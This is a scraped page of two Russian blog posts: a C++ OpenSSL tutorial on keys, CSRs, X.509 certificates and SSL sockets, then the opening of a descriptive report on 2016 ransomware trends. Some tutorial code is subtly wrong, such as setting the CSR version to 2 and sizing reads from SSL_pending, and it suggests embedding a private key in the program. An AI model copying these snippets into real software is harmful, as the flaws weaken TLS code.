                          int PEM_write_PrivateKey(FILE *fp, EVP_PKEY *x, const EVP_CIPHER *enc, unsigned char *kstr, int klen, pem_password_cb *cb, void *u);

                          , где const EVP_CIPHER *enc — это указатель на алгоритм шифрования для шифрования закрытого ключа перед его сохранением.
                          Например, EVP_aes_256_cbc() значит "AES with a 256-bit key in CBC".


                          Алгоритмов шифрования очень много, и всегда можно
                          подобрать что-то по душе. Соответствующие определения можно найти в openssl/evp.h.
                          unsigned char *kstr ожидает получить указатель на строку с паролем для шифрования ключа, а int klen — длину этой строки.


                          Если заданы kstr и klen, то параметры cb и u игнорируются, где:— cb — это указатель на функцию вида:


                          int cb(char *buf, int size, int rwflag, void *u);

                          — buf — указатель на буфер для записи пароля
                          — size — максимальный размер пароля (т.е. размер буфера)
                          — rwflag равен 0 при чтении и 1 при записи


                          Результат выполнения функции — длина пароля или 0 в случае возникновения ошибки.


                          Параметр void *u для обеих функций используется для передачи дополнительных данных. Например, как указатель на окно для GUI приложения.


                          Загрузка ключей из PEM-файла


                          Загрузка ключей происходит при помощи функций PEM_read_PrivateKey и PEM_read_PUBKEY. Обе функции имеют одинаковые параметры и возвращаемое значение:


                          EVP_PKEY *PEM_read_PUBKEY(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);
                          EVP_PKEY *PEM_read_PrivateKey(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);

                          где:
                          FILE *fp — открытый для чтения файловый дескриптор
                          EVP_PKEY **x — структура, которая должна быть перезаписана
                          pem_password_cb *cb — функция для получения пароля расшифровки ключа
                          void *u — строка с паролем ключа, завершающаяся \0


                          Вот пример функции для получения пароля для расшифровки ключа:


                          int pass_cb(char *buf, int size, int rwflag, void *u)
                          {
                              int len;
                              char *tmp;
                          
                              if (rwflag == 1)
                                  std::cout << "Введите пароль для " << (char*)u << ": ";
                              else
                                  std::cout << "Введите пароль для загрузки ключа: ";
                              std::string pass;
                          
                              std::cin >> pass;
                              if (pass.empty() || pass.length() <=0)
                                  return 0;
                          
                              len = pass.length();
                          
                              if (len > size) 
                              len = size;
                          
                              memcpy(buf, pass.c_str(), len);
                              return len;
                          }

                          Вот пример того, как можно загрузить не зашифрованный закрытый ключ из файла:


                          FILE *f = NULL;
                          f = fopen(fileName.c_str(), "rb");
                          if (f == NULL)
                          {
                              //Обработка ошибки
                          }
                          
                          EVP_PKEY *key = NULL;
                          key = PEM_read_PrivateKey(f, NULL, NULL, NULL);
                          if (key == NULL)
                          {
                             //Обработка ошибки
                          }
                          fclose(f);

                          Загрузка ключей из памяти


                          Иногда бывает удобно хранить ключ или сертификат как константу в программе. Для таких случаев можно использовать структуру типа BIO. Эта структура и связанные с ней функции повторяют функционал ввода-вывода для FILE.


                          Вот так можно загрузить ключ из памяти:


                          const char *key = "-----BEGIN RSA PRIVATE KEY-----\n"
                              "MIIJKAIBAAKCAgEA40vjOGzVpuJv+wIfNBQSr9U/EeRyvSy/L6Idwh799LOPIwjF\n"
                              .....
                              "zkxvkGMPBY3BcSPjipuydWTt8xE8MOe0SmEcytHZ/DifwF9qyToDlTFOUN8=\n"
                              "-----END RSA PRIVATE KEY-----";
                          
                          BIO *buf = NULL;
                          buf = BIO_new_mem_buf(key, -1);
                          if (buf == NULL)
                          {
                              //Обработка ошибки        
                          }
                          
                          EVP_PKEY *pkey = NULL;
                          pkey = PEM_read_bio_PrivateKey(buf, NULL, NULL, NULL);
                          if (pkey == NULL)
                          {
                              //Обработка ошибки
                          }

                          Запрос сертификата


                          Теперь, когда мы умеем создавать ключи, посмотрим, как создавать сертификаты. Сертификаты могут быть самоподписанными или иметь подпись удостоверяющего центра. Для получения сертификата, подписанного удостоверяющим центром, требуется создать запрос сертификата (CSR) и отправить его удостоверяющему центру. В ответ он пришлет подписанный сертификат.


                          В том случае, когда мы хотим создать самоподписанный сертификат или сертификат для собственного удостоверяющего центра, CSR создавать не нужно, можно сразу переходить к разделу Сертификаты.


                          Создание


                          Certificate Signing Request (CSR) — это сообщение или запрос, который создатель сертификата посылает удостоверяющему центру (CA) и который содержит в себе информацию о публичном ключе, стране выпуска, а также цифровую подпись создателя.


                          Для создания CSR нам понадобится ключ EVP_PKEY, созданный ранее. Все начинается с выделения памяти под структуру CSR:


                          X509_REQ *req = NULL;
                          req = X509_REQ_new();
                          if (req == NULL)
                          {
                              //Обработка ошибки
                          }

                          Обратной функцией к X509_REQ_new является X509_REQ_free.


                          Теперь нужно задать версию сертификата. В данном случае версия равна 2:


                          if (X509_REQ_set_version(req, 2) != 1)
                          {
                              //Обработка ошибки
                              X509_REQ_free(req);
                          }

                          По стандарту X.509 эта версия должна быть на единицу меньше версии сертификата. Т.е. для версии сертификата 3 следует использовать число 2.


                          Теперь будем задавать данные создателя запроса. Будем использовать следующие поля:


                          С — двухбуквенный код страны, например RU
                          ST — область, в нашем случае Moscow
                          L — город, снова Moscow
                          O — организация, например Taigasystem
                          CN — доменное имя, для нас будет taigasystem.com


                          Вот так эти поля задаются в запрос:


                          X509_NAME *name = X509_REQ_get_subject_name(req);
                          if (X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (const unsigned char *)"RU", -1, -1, 0) != 1)
                          {
                              //Обработка ошибки
                              X509_REQ_free(req);
                          }
                          
                          if (X509_NAME_add_entry_by_txt(name, "ST", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
                          {
                              //Обработка ошибки
                          }
                          
                          if (X509_NAME_add_entry_by_txt(name, "L", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
                          {
                              //Обработка ошибки
                          }
                          
                          if (X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (const unsigned char *)"Taigasystem", -1, -1, 0) != 1)
                          {
                              //Обработка ошибки
                          }
                          
                          if (X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char *)"taigasystem.com", -1, -1, 0) != 1)
                          {
                              //Обработка ошибки
                          }

                          Заметим, что сначала мы получаем структуру X509_NAME из структуры CSR запроса и задаем значения для нее.


                          Теперь нужно задать публичный ключ для этого запроса:


                          if (X509_REQ_set_pubkey(req, key) != 1)
                          {
                              //Обработка ошибки
                          }

                          Последний штрих — подпись запроса:


                          if (X509_REQ_sign(req, key, EVP_sha256()) <= 0)
                          {
                              //Обработка ошибки
                          }

                          В отличие от других функций OpenSSL, X509_REQ_sign возвращает
                          размер подписи в байтах, а не 1, при успешном завершении, и 0 — в случае ошибки.


                          Теперь запрос сертификата готов.


                          Сохранение CSR в файл


                          Сохранить CSR в файл довольно просто. Необходимо открыть файл, а затем — вызвать функцию PEM_write_X509_REQ:


                          FILE *f = NULL;
                          f = fopen("server.csr", "wb");
                          if (PEM_write_X509_REQ(f, csr) != 1)
                          {
                              //Обработка ошибки
                              fclose(f);
                          }
                          fclose(f);

                          В результате мы получим такой текст в файле server.csr:


                          -----BEGIN CERTIFICATE REQUEST-----
                          MIICnzCCAYcCAQEwWjELMAkGA1UEBhMCUlUxDzANBgNVBAgMBlJ1c3NpYTEPMA0G
                          ...
                          fbzFJ6EM00mbyr472lEXZpvdZgBCfxpkNDyp9nsiIQf0EyC05MgufOAKDT/fGQfa
                          4gWK
                          -----END CERTIFICATE REQUEST-----
                          

                          Загрузка CSR из файла


                          Для загрузки CSR следует использовать функции:


                          X509_REQ *PEM_read_X509_REQ(FILE *fp, X509_REQ **x, pem_password_cb *cb, void *u);
                          X509_REQ *PEM_read_bio_X509_REQ(BIO *bp, X509_REQ **x, pem_password_cb *cb, void *u);

                          Первая загружает CSR из файла, вторая позволяет загрузить CSR из памяти.


                          Параметры данных функция аналогичны загрузке ключей из PEM-файла, за
                          исключением pem_password_cb и u, которые игнорируются.


                          Сертификаты


                          X.509 сертификат


                          X.509 — это одна из вариаций языка ASN.1, стандартизованная в rfc2459.


                          Более подробно о формате X.509 можно прочитать здесь и здесь.


                          Генерация сертификата без CSR


                          Можно сгенерировать сертификат без использования CSR. Это пригодится для создания CA.


                          Для генерации сертификата без CSR нам понадобится пара открытый/закрытый ключ в структуре EVP_PKEY. Начинаем с выделения памяти под структуру сертификата:


                          X509 *x509 = X509_new();
                          if (!x509)
                              //Обработка ошибки

                          Обратной для X509_new является X509_free.


                          Сертификат создается точно так же, как и CSR-запрос, с одной лишь разницей — помимо версии и данных издателя, требуется задать серийный номер сертификата.


                          Также нужно использовать другие функции для доступа к данным сертификата:
                          X509_set_version вместо X509_REQ_set_version
                          X509_get_subject_name вместо X509_REQ_get_subject_name
                          X509_set_pubkey вместо X509_REQ_set_pubkey
                          X509_sign вместо X509_REQ_sign


                          Таким образом отличить по именам, для каких объектов предназначены те или иные функции, становится довольно просто.


                          Теперь можно установить серийный номер сертификата:


                          ASN1_INTEGER *aserial = NULL;
                          aserial = M_ASN1_INTEGER_new();
                          ASN1_INTEGER_set(aserial, 1);
                          if (X509_set_serialNumber(x509, aserial) != 1)
                          {
                              //Обработка ошибки
                          }

                          Для каждого нового сертификата необходимо создавать новый серийный номер.


                          Теперь пришло время установить время жизни сертификата. Для этого устанавливается два параметра — начало и конец жизни сертификата:


                          if (!(X509_gmtime_adj(X509_get_notBefore(cert), 0)))
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }
                          
                          // 31536000 * 3 = 3 year valid period
                          if (!(X509_gmtime_adj(X509_get_notAfter(cert), 31536000 * 3)))
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }

                          Началом жизни сертификата будет момент его выпуска — значение 0 для функции X509_get_notBefore. Конец жизни сертификата задается функцией X509_get_notAfter.


                          Последний штрих — подпись сертификата при помощи закрытого ключа:


                          EVP_PKEY *key; // Not null
                          
                          if (X509_sign(cert, key, EVP_sha256()) <=0)
                          {
                              long e = ERR_get_error();
                              if (e != 0)
                              {
                                  //Обработка ошибки
                                  X509_free(cert);
                              }
                          }

                          Здесь есть интересная особенность: функция X509_sign возвращает размер подписи в байтах, если все прошло успешно, и 0 — в случае ошибки. Иногда функция возвращает ноль, даже если ошибки нет. Поэтому здесь приходится вводить дополнительную проверку на ошибку.


                          Генерация сертификата с CSR


                          Для генерации сертификата по CSR нам нужен закрытый ключ CA для подписи сертификата, сертификат CA для задания данных издателя и сам CSR-запрос.


                          Создание самого сертификата и установка версии и номера такие же, как и для сертификата без CSR. Разница появляется, когда нужно извлечь данные издателя из CSR-запроса и установить их в сертификат:


                          X509_REQ *csr; //not null
                          
                          X509_NAME *name = NULL;
                          name = X509_REQ_get_subject_name(csr);
                          if (name == NULL)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }
                          
                          if (X509_set_subject_name(cert, name) != 1)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }

                          После этого нужно уставить данные издателя сертификата. Для этого требуется сертификат CA:


                          X509 *CAcert; //not null
                          
                          name = X509_get_subject_name(CAcert);
                          if (name == NULL)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }
                          
                          if (X509_set_issuer_name(cert, name) != 1)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }

                          Видно, что данные из CSR мы устанавливаем при помощи X509_set_subject_name, а данные CA — при помощи X509_set_issuer_name.


                          Следующий шаг — необходимо получить открытый ключ из CSR и установить его в новый сертификат.
                          Помимо установки ключа можно сразу проверить, был ли подписан CSR данным ключом:


                          // Get pub key from CSR
                          EVP_PKEY *csr_key = NULL;
                          csr_key = X509_REQ_get_pubkey(csr);
                          if (csr_key == NULL)
                          {
                              //Обработка ошибки
                          }
                          
                          // Verify CSR
                          if (X509_REQ_verify(csr, csr_key) !=1)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }
                          
                          // Set pub key to new cert
                          if (X509_set_pubkey(cert, csr_key) != 1)
                          {
                              //Обработка ошибки
                              X509_free(cert);
                          }

                          Теперь можно установить серийный номер сертификата:


                          ASN1_INTEGER *aserial = NULL;
                          aserial = M_ASN1_INTEGER_new();
                          ASN1_INTEGER_set(aserial, 1);
                          if (X509_set_serialNumber(cert, aserial) != 1)
                          {
                              //Обработка ошибки
                          }

                          Последний штрих — следует подписать сертификат при помощи закрытого ключа CA:


                          EVP_PKEY *CAkey; // Not null
                          if (X509_sign(cert, CAkey, EVP_sha256()) <=0)
                          {
                              long e = ERR_get_error();
                              if (e != 0)
                              {
                                  //Обработка ошибки
                                  X509_free(cert);
                              }
                          }

                          После подписи наш новый сертификат готов.


                          Сохранение X.509 сертификата


                          Сохранение происходит довольно просто:


                          X509 *cert;
                          ...
                          FILE *f = NULL;
                          f = fopen("server.crt", "wb");
                          if (!PEM_write_X509(f, cert))
                          {
                              //Обработка ошибки
                              fclose(f);
                          }
                          fclose(f);

                          Загрузка X.509 сертификата


                          Загрузка происходит при помощи двух функций:


                          X509 *PEM_read_X509(FILE *fp, X509 **x, pem_password_cb *cb, void *u);
                          X509 *PEM_read_bio_X509(BIO *bp, X509 **x, pem_password_cb *cb, void *u);

                          Параметры описаны выше.


                          Сетевая часть


                          Клиент


                          Подключение к хосту при помощи SSL-сокетов не очень отличается от обычного TCP-подключения.


                          Сначала нужно создать TCP-подключение к серверу:


                          //Попробуем получить IP для хоста
                          struct hostent *ip = nullptr;
                          ip = gethostbyname(host.c_str());
                          if (ip == nullptr)
                          {
                              //Обработка ошибки
                          }
                          
                          //Создаем сокет
                          int sock = socket(AF_INET, SOCK_STREAM, 0);
                          if (sock == -1)
                          {
                              //Обработка ошибки
                          }
                          
                          struct sockaddr_in dest_addr;
                          memset(&dest_addr, 0, sizeof(struct sockaddr_in));
                          dest_addr.sin_family      = AF_INET;
                          dest_addr.sin_port        = htons(port);
                          dest_addr.sin_addr.s_addr = *(long *)(ip->h_addr);
                          
                          //Подключаемся:
                          if (connect(sock, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1)
                          {
                              //Подключиться не удалось 
                          }

                          Теперь нужно создать клиентский SSL-контекст:


                          const SSL_METHOD *method = SSLv23_client_method();
                          
                          SSL_CTX *ctx = NULL;
                          ctx = SSL_CTX_new(method);
                          
                          if (ctx == NULL)
                              //Обработка ошибки

                          Теперь нужно установить полученный сокет в SSL-структуру. Она получается из контекста:


                          SSL *ssl = SSL_new(ctx);
                          if (ssl == NULL)
                          {
                              //Обработка ошибки
                          }
                          
                          if (SSL_set_fd(ssl, sock) != 1)
                          {
                              //Обработка ошибки
                          }

                          Последний штрих — само подключение:


                          if (SSL_connect(ssl) != 1)
                          {
                              //Обработка ошибки
                          }

                          Чтение данных


                          Для чтения данных из SSL-сокета нужно использовать функцию:


                          int SSL_read(SSL *ssl, void *buf, int num);

                          Она читает в буфер данные из сокета, привязанного к SSL-структуре. Если нужно узнать, есть ли в буфере сокета данные, которые нужно прочитать, можно использовать функцию


                          int SSL_pending(const SSL *ssl);

                          Т.е. для чтения можно использовать такую конструкцию:


                          const int size = SSL_pending(ssl);
                          char *buf = new char[size];
                          memset(buf, 0, size);
                          
                          if (SSL_read(ssl, buf, size) <= 0)
                          {
                              //Обработка ошибки
                          }

                          В результате в буфере будут находиться уже декодированные данные.


                          Запись данных


                          Для записи используется функция:


                          int SSL_write(SSL *ssl, const void *buf, int num);

                          На входе она получает указатель на SSL-структуру, которая будет осуществлять запись, сами данные и их размер.


                          Вот пример такой записи:


                          char buf[] = "12345678"
                          if (SSL_write(ssl, buf, strlen(buf)) <= 0)
                          {
                              //Обработка ошибки
                          }

                          Сервер


                          Серверная часть схожа с клиентской — в ней также требуется получить SSL-контекст, и в ней — те же функции чтения записи. Отличие состоит в том, что сервер должен подготовить контекст, чтобы отдать клиенту сертификат, а также организовать рукопожатие с клиентом.


                          Начнем с подготовки контекста:


                          const SSL_METHOD *method = SSLv23_server_method();
                          
                          SSL_CTX *ctx = NULL;
                          ctx = SSL_CTX_new(method);
                          if (ctx == NULL)
                          {
                              //Обработка ошибки
                          }

                          Документация говорит нам, о том, что выбор SSLv23_server_method позволит библиотеке самостоятельно определить максимально безопасную версию протокола из поддерживаемых клиентом.


                          Если нужно включить или выключить определенную версию или изменить другие настройки, можно воспользоваться функцией SSL_set_options. Документацию для нее можно найти здесь.


                          Загрузку X.509 сертификата и загрузку ключей мы рассмотрели чуть раньше, поэтому считаем, что у нас уже есть пара этих структур.


                          Установим для серверного контекста сертификат и ключ сертификата:


                          X509 *serverCert; //not null
                          EVP_PKEY *serverKey; //not null
                          
                          if (SSL_CTX_use_certificate(ctx, serverCert) != 1)
                          {
                              //Обработка ошибки
                          }
                          
                          if (SSL_CTX_use_PrivateKey(ctx, serverKey) != 1)
                          {
                              //Обработка ошибки
                          }

                          Наш сервер готов принимать входящие соединения. Пусть этим занимается обычный accept. Нас будет интересовать полученный от этой функции сокет.


                          Начинаем с того, что для каждого такого сокета, нам нужна новая SSL-структура:


                          SSL *ssl = NULL;
                          ssl = SSL_new(ctx);
                          if (ssl == NULL)
                          {
                              //Обработка ошибки
                          }

                          Теперь устанавливаем в эту структуру наш сокет:


                          int sock; //accepted tcp socket
                          
                          if (SSL_set_fd(ssl, sock) != 1)
                          {
                              //Hadle error
                          }

                          Сам механизм рукопожатия:


                          if (SSL_accept(ssl) != 1)
                          {
                              //Обработка ошибки
                          }

                          Стоит отметить следующий момент: если используемый нами сокет находится в неблокирующем режиме, то рукопожатие с первого раза не пройдет. В этом случае нужно проверять не только возвращаемое значение, но и код ошибки:


                          int ret = SSL_accept(ssl);
                          if (ret == 0)
                          {
                              //Обработка ошибки
                          }
                          if (ret < 0)
                          {
                              unsigned long error = ERR_get_error();
                              if (error == SSL_ERROR_WANT_READ ||
                                  error == SSL_ERROR_WANT_WRITE ||
                                  error == 0)
                              {
                                  //Не ошибка, нужно дождаться получения следующего сообщения
                                  //в протоколе рукопожатия
                              }
                              else
                              {
                                  //Обработка ошибки
                              }
                          }
                          if (ret == 1)
                          {
                              //Подключено
                          }

                          После установки соединения мы можем использовать описанные ранее функции ввода-вывода для чтения и записи данных в сокет.


                          Пример работы


                          Сборка программы


                          Для сборки примера к статье нужно использовать команды:


                          mkdir build
                          cd build
                          cmake ..
                          make

                          Запуск


                          В папке сборки (build) следует выполнить:


                          ./openssl_api

                          При этом в этой же папке появится файл ca.crt — созданный программой
                          сертификат.


                          Чтобы проверить его работоспособность, нужно выполнить


                          cppurl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"

                          Первым параметром мы задаем используемый CA Сертификат, -v показывает нам все переданные и принятые сообщения. -H "Host: taigasystem.com" нужен, чтобы заметить в GET-запросе заголовок Host. Без этого параметра программа отработает, но в ответ на запрос мы получим 404-ю ошибку.


                          Вывод curl


                          Вот вывод запроса curl при запросе через нашу программу (не полный):


                          $ curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"
                          * Rebuilt URL to: https://127.0.0.1:5566/
                          *   Trying 127.0.0.1...
                          * Connected to 127.0.0.1 (127.0.0.1) port 5566 (#0)
                          * found 1 certificates in ca.crt
                          * found 700 certificates in /etc/ssl/certs
                          * ALPN, offering http/1.1
                          * SSL connection using TLS1.2 / RSA_AES_128_GCM_SHA256
                          *        server certificate verification OK
                          *        server certificate status verification SKIPPED
                          *        common name: 127.0.0.1 (matched)
                          *        server certificate expiration date OK
                          *        server certificate activation date OK
                          *        certificate public key: RSA
                          *        certificate version: #3
                          *        subject: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
                          *        start date: Mon, 28 Aug 2017 07:36:42 GMT
                          *        expire date: Thu, 27 Aug 2020 07:36:42 GMT
                          *        issuer: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
                          *        compression: NULL
                          * ALPN, server did not agree to a protocol
                          > GET / HTTP/1.1
                          > Host: taigasystem.com
                          > User-Agent: curl/7.47.0
                          > Accept: */*
                          >
                          < HTTP/1.1 200 OK
                          < Server: nginx/1.4.6 (Ubuntu)
                          < Date: Mon, 28 Aug 2017 07:39:18 GMT
                          < Content-Type: text/html; charset=utf-8
                          < Transfer-Encoding: chunked
                          < Connection: keep-alive
                          < Vary: Accept-Language, Cookie
                          < X-Frame-Options: SAMEORIGIN
                          < Content-Language: ru
                          < Strict-Transport-Security: max-age=604800
                          <
                          ....

                          Видим следующее: во-первых, наш сертификат прочитан и принят; во-вторых, сервер ответил на запрос и передает ответ.


                          Вывод программы


                          После запуска программы и подключения к ней curl видим такой (неполный) вывод:


                          $ ./openssl_api
                          Библиотека OpenSSL инициализирована
                          Для проверки воспользуйтесь командой 'curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com" '
                          Структура хранения ключей создана
                          Создана структура BIGNUM
                          Изменен размер структуры BIGNUM
                          Создана RSA структура
                          Ключи сгенерированы
                          Ключи убраны в EVP
                          Сертификат создан. Длина подписи: 512
                          Структура хранения ключей создана
                          Создана структура BIGNUM
                          Изменен размер структуры BIGNUM
                          Создана RSA структура
                          Ключи сгенерированы
                          Ключи убраны в EVP
                          CSR создан. Длина подписи: 512
                          Сертификат создан. Длина подписи: 512
                          Структура для хранения ключей удалена
                          Сертификат успешно записан в ca.crt
                          SSL контекст создан
                          Сокет ожидает подключения на 5566 порту
                          Новое входящие соединение
                          Подключаемся к taigasystem.com на порту 443
                          Подключен к хосту taigasystem.com[188.225.73.237]:443
                          SSL контекст создан
                          SSL соединение с taigasystem.com:443 установлено
                          Цикл чтения/записи данных
                          #######################################
                          Прочитано 79 байт от клиента
                          #######################################
                          GET / HTTP/1.1
                          Host: taigasystem.com
                          User-Agent: curl/7.47.0
                          Accept: */*
                          
                          #######################################
                          Прочитано 4096 байт от сервера
                          #######################################
                          HTTP/1.1 200 OK
                          Server: nginx/1.4.6 (Ubuntu)
                          Date: Mon, 28 Aug 2017 07:39:18 GMT
                          Content-Type: text/html; charset=utf-8
                          Transfer-Encoding: chunked
                          Connection: keep-alive
                          Vary: Accept-Language, Cookie
                          X-Frame-Options: SAMEORIGIN
                          Content-Language: ru
                          Strict-Transport-Security: max-age=604800
                          ...

                          Т.е. очевидно, что мы получили GET-запрос от клиента (curl) и ответ на него от сервера.


                          Ссылки



                          Огромная благодарность за исследования tomasloh

                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338764/


                          Метки:  

                          Программы-шантажисты: угроза прошлого или будущего?

                          Вторник, 26 Сентября 2017 г. 16:27 + в цитатник
                          anna_er вчера в 16:27 Разработка

                          Программы-шантажисты: угроза прошлого или будущего?

                            Если мы посмотрим на векторы атак, количество новых уникальных семейств вирусов и эволюцию вредоносных программ, то заметим что это становится наиболее серьёзной и распространённой угрозой для безопасности. Под катом я расскажу про анализ программ-шантажистов и защиту от них.



                            Анализ программ-шантажистов за 2016 год показал следующее:

                            • Каждый квартал года отправляется свыше 500 млн писем нежелательной почты, содержащих спам и загрузчики программ-шантажистов, которые пытаются автоматически установиться на компьютеры пользователей.
                            • Загрузчики программ-шантажистов поразили свыше 13,4 млн компьютеров.
                            • С другой стороны, 4,5 млн компьютеров были заражены вредоносным ПО Meadgive и Neutrino, основным атакующим кодом которых являются программы-шантажисты.
                            • В 2016 году программы-шантажисты были обнаружены на 3,9 млн ПК.

                            Воздействие программ-шантажистов коснулось не только частных пользователей, их жертвами также стали бизнес-компании и госсектор. После того как главные средства массовой информации сообщили об этих атаках, в том числе о том, что некая больница в Калифорнии заплатила злоумышленникам за восстановление важных медицинских файлов, а также о сбое в работе транспортной системы Сан-Франциско, представление о программах-шантажистах глубже вошло в общественное сознание. В сентябре отчет Европол назвал программы-шантажисты крупнейшей цифровой угрозой, оставившей позади вредоносное ПО для кражи данных и программы-трояны онлайн-банкинга.

                            Весьма примечательно, что по данным антивируса Windows Defender наблюдается интересная тенденция: достигнув пикового значения в августе 2016 года — 385 тыс. зарегистрированных случаев обнаружения программ-шантажистов — в сентябре их количество сократилось почти вдвое и продолжает падать.



                            Рис. 1. Ежемесячная частота обнаружения файлов полезной нагрузки программ-шантажистов за исключением загрузчиков и других компонентов. Некоторые данные по отрасли объединяют эти два показателя.

                            Означает ли эта тенденция, что конец программ-шантажистов предвиден? Если посмотреть на другие области распространения программ-шантажистов, оказывается, что это не так.

                            Блокировка программ-шантажистов в точке проникновения


                            Чтобы понять, действительно ли распространенность программ-шантажистов идет на спад, необходимо изучить другие области цепочки заражения, начиная с векторов атаки. Данные Windows Defender Antivirus говорят об обратном.

                            Трояны-загрузчики, распространяемые через рассылки электронной почты


                            Трояны-загрузчики, такие как Nemucod и Donoff, устанавливают на ПК программы-шантажисты. Эти загрузчики часто имеют вид файлов документов или ярлыков и распространяются через письма электронной почты.

                            Количество сообщений электронной почты, содержащих загрузчики программ-шантажистов, не снижалось. В последнем квартале 2016 года было зафиксировано 500 млн таких сообщений. За тот же период времени трояны-загрузчики заражали как минимум 1 млн ПК в месяц. Очевидно, что киберпреступники не прекращали использовать программы-шантажисты для атак на компьютеры пользователей. В действительности, вплоть до конца 2016 года мы стали свидетелями кампаний по рассылке сообщений электронной почты с эксплойтом Nemucod, распространявшим вирус Locky, и кампаний по рассылке вируса Donoff, через которые распространялся вирус Cerber.



                            Рис. 2. Хотя количество случаев обнаружения программ-шантажистов к концу 2016 года значительно сократилось, во втором полугодии по сравнению с первым частота заражения загрузчиками программ-шантажистов была в среднем выше.

                            Очевидно, что уменьшение случаев обнаружения программ-шантажистов обусловлено не тем, что киберпреступники стали менее усердны. По-прежнему отмечается огромное количество писем электронной почты, содержащих трояны-загрузчики программ-шантажистов. Однако заражение программами-шантажистами блокируется в точке их проникновения. Это интересный ход, поскольку в 2016 году распространители программ-шантажистов перешли от использования эксплойтов к сообщениям электронной почты как более эффективному вектору заражения.

                            Эксплойты


                            Эксплойт Neutrino применялся для установки на ПК программы-шантажиста Locky. В середине 2016 года частота заражения Neutrino возросла, заполнив нишу вируса Axpergle (также известного как Angler) после его исчезновения в июне. Очевидно, что распространенность Neutrino начала снижаться в сентябре, после того как его операторы передали бразды правления группам киберпреступников.

                            Еще один популярный эксплойт, Meadgive (также известный как RIG), поначалу распространял программу-шантажист Cerber. В 2016 году наблюдался постоянный рост Meadgive, который стал наиболее частым эксплойтом для рассылки вредоносного ПО. В декабре 2016 года началась кампания по рассылке Meadgive с последней версией вируса Cerber, которая проводилась в основном в Азии и Европе.

                            Хотя эксплойты используются все реже, программы-шантажисты продолжают задействовать эксплойты для заражения компьютеров. Это объясняется тем, что эксплойты позволяют программам-шантажистам повышать уровень разрешений и запускать потенциально опасные программы с меньшим количеством ограничений.

                            Хакеры ищут новые пути


                            Закат программ-шантажистов еще не наступил, и еще одним свидетельством тому являются многочисленные инновации вредоносного кода, зафиксированные в 2016 году.

                            Киберпреступники постоянно обновляют свой инструментарий. Например, в конце 2016 года были зафиксированы существенные обновления последней версии Cerber.

                            Эти усовершенствования вредоносного кода постепенно вводятся в атаках типа программа-шантажист как служба, при которых киберпреступники могут получить новейшие версии программ-шантажистов на нелегальных форумах. Это обеспечивает киберпреступников необходимыми ресурсами и мотивацией для организации атак.

                            Далее перечислены некоторые усовершенствования программ-шантажистов, свидетелями которых мы стали в 2016 году.

                            Атаки на серверы


                            Обнаружение программы-шантажиста Samas в начале 2016 года сделало эти программы главной угрозой для коммерческих компаний. Столкнувшись с программами-шантажистами, нацеленными на серверы, ИТ-администраторы были вынуждены не только позаботиться о защите конечных пользователей, но и усилить защиту серверов.

                            Кампании по распространению Samas использовали уязвимости серверов. Они искали уязвимые сети с помощью pen test и использовали различные компоненты для шифрования файлов на серверах.

                            Возможности вирусов-червей


                            Zcryptor имел свойство распространяться, а это означает, что некоторые программы-шантажисты могли переходить с одной конечной точки на другую, не прибегая к кампаниям по рассылке нежелательной почты. Вирус-червь обнаруживает сетевые и логические диски и съемные носители, которые он может использовать для распространения. В самом начале 2017 года был обнаружен вирус Spora, демонстрирующий аналогичное поведение.

                            Альтернативные способы оплаты и связи


                            Обычно программы-шантажисты требовали оплату через Биткойн на нелегальных веб-сайтах сети Tor. В ответ на уменьшение количества оплат со стороны жертв киберпреступники начали искать новые способы оплаты.

                            Программа-шантажист Dereilock, например, заставляла своих жертв связаться со злоумышленниками по Skype, а Telecrypt для связи со злоумышленниками предлагала воспользоваться службой обмена сообщениями Telegram Messenger.

                            Spora пошла по пути «условно-бесплатных» услуг — пару файлов жертвы могли расшифровать бесплатно, а за небольшую сумму можно было расшифровать некоторое количество файлов.

                            Новые методы шантажа


                            В 2016 году большинство программ-шантажистов начали использовать таймер обратного отсчета. Это заставляет жертву немедленно заплатить выкуп под страхом безвозвратной потери доступа к файлам.

                            Когда в марте вышла программа-шантажист Cerber, она произвела фурор: помимо обычного сообщения о выкупе в виде текстового и HTML-документа VBScript преобразовывал текст в аудио-сообщение с требованием выкупа. Поэтому Cerber был назван «говорящим шантажистом».

                            Другая программа-шантажист CornCrypt предлагала расшифровать файлы бесплатно при условии, что жертва заразит двух других пользователей. Злоумышленники рассчитывали на эффект снежного кома: чем больше жертв, тем больше вероятность того, что кто-то из них заплатит.

                            Новые семейства программ-шантажистов — лидеры рейтинга


                            Угроза со стороны программ-шантажистов вероятнее всего не ослабеет, о чем говорит появление новых семейств программ-шантажистов. Из свыше 200 обнаруженных активных семейств примерно половина была впервые зафиксирована в 2016 году.

                            В большинстве новых семейств программ-шантажистов применяется шифрование. Этот тип программ-шантажистов пришел на смену более старым версиям с блокировкой экрана, которые просто блокировали экран и не использовали шифрование файлов.

                            В 2016 году появилось много семейств программ-шантажистов, применяющих новые методы и приемы. При этом 68 % случаев обнаружения программ-шантажистов в 2016 году приходилось на пять лидеров.



                            Рис. 3. Cerber и Locky, обнаруженные в 2016 году, стали лидерами года среди программ-шантажистов

                            Интересно отметить, что два ведущих семейства программ-шантажистов были обнаружены лишь в 2016 году.

                            Cerber


